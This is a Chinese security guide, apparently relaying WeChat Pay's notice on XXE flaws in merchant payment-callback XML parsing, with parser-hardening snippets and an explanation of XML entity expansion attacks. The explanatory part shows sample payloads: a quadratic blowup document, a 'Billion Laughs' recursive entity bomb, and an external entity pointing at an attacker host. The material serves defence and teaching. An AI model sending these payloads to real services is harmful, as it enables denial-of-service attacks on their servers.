微信最佳安全实践之关于XML解析存在的安全问题指引[官方说明]

微信支付商户,最近暴露的XML外部实体注入漏洞(XML External Entity Injection,简称 XXE),该安全问题是由XML组件默认没有禁用外部实体引用导致,非微信支付系统存在漏洞。
如果你在使用支付业务回调通知中,存在以下场景有使用XML解析的情况,请务必检查是否对进行了防范。场景1:支付成功通知:notify_url参数值对应的URL;
场景2:退款成功通知:notify_url参数值对应的URL;
场景3:委托代扣签约、解约、扣款通知;
场景4:车主解约通知;
场景5:扫码支付模式一回调:在商户平台(pay.weixin.qq.com)–>产品中心–>开发配置–>支付配置–>扫码支付–>支付回调链接;
注:APP支付的用户端SDK不受影响,但APP支付成功回调通知里面要检查。

举例:需检查统一下单中传的notify_url参数值对应的URL,是否具有XXE漏洞
<xml>
<appid>wx2421b1c4370ec43b</appid>
<attach>支付测试</attach>
<body>JSAPI支付测试</body>
<mch_id>10000100</mch_id>
<nonce_str>1add1a30ac87aa2db72f57a2375d8fec</nonce_str>
   <notify_url>http://wxpay.wxutil.com/pub_v2/pay/notify.v2.php</notify_url>
<openid>oUpF8uMuAJO_M2pxb1Q9zNjWeS6o</openid>
<out_trade_no>1415659990</out_trade_no>
<spbill_create_ip>14.23.150.211</spbill_create_ip>
<total_fee>1</total_fee>
<trade_type>JSAPI</trade_type>
<sign>0CB01533B8C1EF103065174F50BCA001</sign>
</xml>

检查方法

如果漏洞被外界攻击,可能出现资金损失,所以请贵司重视,必须修复漏洞。
检测XXE漏洞方法:
使用贵司商户号登录商户平台(pay.weixin.qq.com),进入【产品中心】–>【安全医生】,开通后即可进行安全检测。

修复建议

1.如果您的后台系统使用了官方SDK,请更新SDK到最新版本 SDK的链接:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=11_1
2.如果您是有系统提供商,请联系提供商进行核查和升级修复;
3.如果您是自研系统,请联系技术部门按以下指引核查和修复;
4.如果您的收款系统已不再使用,请将回调URL的服务删除;
5.采用主动查单,不再使用回调。
因XXE属于高危漏洞,如不贵司一直未修复,将被停部分功能权限或停交易权限温馨提醒:
如果贵司(或贵司的技术服务商)无法修复漏洞,可以换无漏洞的支付系统(比如使用微信买单收款或其他服务商收款系统)
请填写问卷告诉我们贵司的情况:填写问卷,提供技术负责人,我们将主动协助贵司修复。
如果以下方法不能解决您的问题,您可以在【微信开放社区】发帖,发帖标题请带上【XXE】(注意:发帖中不要出现私密参数,如密钥,回调链接等)。
如有疑问也可通过邮箱WePayTS@tencent.com与我们联系,感谢您对微信支付的支持。

请见:XXE修复相关的Q&A

修复方法

XXE漏洞需要你在代码中进行相应的设置,不同语言设置的内容不同,下面提供了几种主流开发语言的设置指引:
【PHP】

libxml_disable_entity_loader(true);

【.Net】


XmlDocument doc= new XmlDocument();
doc.XmlResolver = null;

【ASP】

Set xmldom = Server.CreateObject("MSXML2.DOMDocument")
xmldom.resolveExternals = false

【Python】

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 


 

关于XML 实体扩展攻击的分析说明

XMl Entity Expansion(攻击)某种程度上类似于 XML Entity Expansion,但是它主要试图通过消耗目标程序的服务器环境来进行DOS攻击的。这种攻击基于XML Entity Expansion实现,通过在XML的DOCTYPE中创建自定义实体的定义实现,比如,这种定义可以在内存中生成一个比XML的原始允许大小大出很多的XML结构,来使这种攻击得以耗尽网络服务器正常有效运行的必需内存资源。这种攻击方式同样适用于HTML5的XML序列化功能模块,该模块当前还不能被libxml2扩展包识别为HTML。

XML Entity Expansion举例

要扩展XML自定义实体以达到预期的耗尽服务器资源效果有好几种方式。

Generic Entity Expansion

通用实体扩展攻击

通用实体扩展攻击同样被称为“Quadratic Blowup Attack”,使用这种方式时,自定义实体被定义为一个极长的字符串。当文件中大量使用这个实体时,该实体在每次调用时都会进行扩展,生成一个大幅超出原XML所需RAM大小的XML结构。

阿里云-推广AD
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]>
<results>
    <result>Now include &long; lots of times to expand
    the in-memory size of this XML structure</result>
    <result>&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    Keep it going...
    &long;&long;&long;&long;&long;&long;&long;...</result>
</results>

通过平衡自定义实体字符串大小和文档主体内使用实体数量,可以创建一个扩展至占用服务器可预测RAM空间大小的XML文档或字符串。通过这样重复请求来占用服务器RAM,就可以发动一次成功的拒绝服务攻击。该方式的缺陷是,由于产生内存消耗效果是基于简单数乘的,因此初始XML文档或字符串本身需要足够大。

递归实体扩展攻击

通用实体扩展攻击需要足够大的XML输入数据量,而递归实体扩展攻击的平均输入字节能产生更强力的攻击效果。这种攻击方式依赖于XML解析器来解析,从而完成小实体集的指数级增长。通过这种指数爆炸性增长方式,一个比通用实体扩展攻击使用小得多的输入数据量实际可增长得极大。因此这种方式被称为“XML Bomb”或是“Billion Laughs Attack”也是十分恰切的。

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY x0 "BOOM!">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!-- Add the remaining sequence from x4...x100 (or boom) -->
    <!ENTITY x99 "&x98;&x98;">
    <!ENTITY boom "&x99;&x99;">
]>
<results>
    <result>Explode in 3...2...1...&boom;</result>
</results>

XML Bomb攻击并不需要可能会被程序限制的大量XML数据输入。实体集像这样指数倍增长,最终形成的扩展后文本大小是初始 &x0实体值的2的100次方倍。这着实是一个庞大且毁灭性超强的炸弹!

远程实体扩展攻击

常规和递归实体扩展攻击都依赖于XML文档类型定义中定义在本地的实体,但是攻击者同样可以进行外部实体定义。这很显然需要XML解析器能够像我们之前在描述XML外部实体注入式攻击(XXE)时遇到的那样,发起远程HTTP请求。而拒绝这种请求对你的XML解析器而言是一种基础的安保措施。因此,防御XXE攻击的措施同样适用于此类XML实体扩展攻击。

虽说可以通过上述方式进行防御,远程实体扩展通过使XML解析器发出远程HTTP请求来获得被引用实体的扩展值来进行攻击。返回结果将自行定义其他XML解析器必须另行HTTP请求的外部实体。如此一来,一些看似并无攻击性的请求会迅速脱离控制,并给服务器的可用资源带来负担。这种情况下,如果请求自包括一个递归扩展攻击,那最终结果会更加糟糕。

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml">
]>
<results>
    <result>3..2..1...&cascade<result>
</results>

上述攻击手法还有可能更加迂回地进行DOS攻击,比如,远程请求被调整到针对本地程序或其他任何共享其服务器资源的程序。这种攻击方式可能造成自我损伤式的DOS攻击,其中, XML解析器尝试解析外部实体可能会触发无数针对本地程序的请求,并由此消耗更多的服务器资源。该方式因此被用于放大之前讨论过的关于使用XML外部实体注入式攻击(XXE)以完成DOS攻击的攻击影响。

针对XML实体扩展攻击的防御措施

下列常规防御措施,是从我们针对普通XML外部实体攻击(XXE)的防御措施继承而来的。我们应当拒绝XML中自定义实体对本地文件和远程HTTP请求的解析,并可使用以下可全局应用于所有内部使用了libxml2函数的PHP或XML所书写扩展的函数进行拒绝。

libxml_disable_entity_loader(true);

诚然PHP以不按常理出牌著称,它并不使用常规的防御方式。常规的防御方式在文档类型声明中,使用XML的文档类型定义来完全拒绝通过自定义实体的定义。PHP也的确为防御功能定义了一个替代实体的LIBXML_NOENT常量,以及DOMDocument::$substituteEntities公共属性,但是使用这两条定义的防御效果不甚明显。似乎我们只能这样将就解决问题,而没有任何更好的解决方案。

虽说没有更好的方案,libxml2函数也确实内置了默认拒绝递归实体解析。要知道递归实体要是出了问题可是能让你的错误日志”咻”地一下跟点亮圣诞树一样全面飘红的。如此看来,好像也没必要特意针对递归实体使用一种特殊防御手段,尽管我们是得做点什么来防止万一libxml2函数突然陷回解析递归实体的故障里去。

当下新型威胁主要来自Generic Entity Expansion 或者Quadratic Blowup Attack的粗暴攻击方式。此类攻击方式不需要调用远程或本地系统,也不需要实体递归。事实上,唯一的防御措施要么是不用XML,要么是清理过滤所有包含文档类型声明的XML。除非要求的文档类型声明接收于安全的可信源,否则最安全的做法就是不用XML了。比如,我们是由同行验证的HTTPS连接接受的。否则,既然PHP没给我们提供禁用文档类型定义的选项,那我们就只能自建逻辑了。假定你能调用libxml_disable_entity_loader(TRUE),那么后续程序运行就是安全的了,因为实体扩展这一步已经被递延到被扩展影响的节点值可被再次访问的时候了(然而勾选TURE以后永远都访问不到了)。

$dom = new DOMDocument;
$dom->loadXML($xml);
foreach ($dom->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
        throw new \InvalidArgumentException(
            'Invalid XML: Detected use of illegal DOCTYPE'
        );
    }
}

当然啦,在libxml_disable_entity_loader被设定为TRUE的前提下,以上代码才能正常运行,设定后XML初始加载的时外部实体引用就不会被解析了。除非解析器自己有一套全面的针对如何进行实体解析的控制选项,否则XML解析器不依赖libxml2函数进行解析时,恐怕这就是唯一的防御措施了。

如果你想使用SimpleXML函数,记得用the simplexml_import_dom()函数来转换核验过的DOMDocument项目。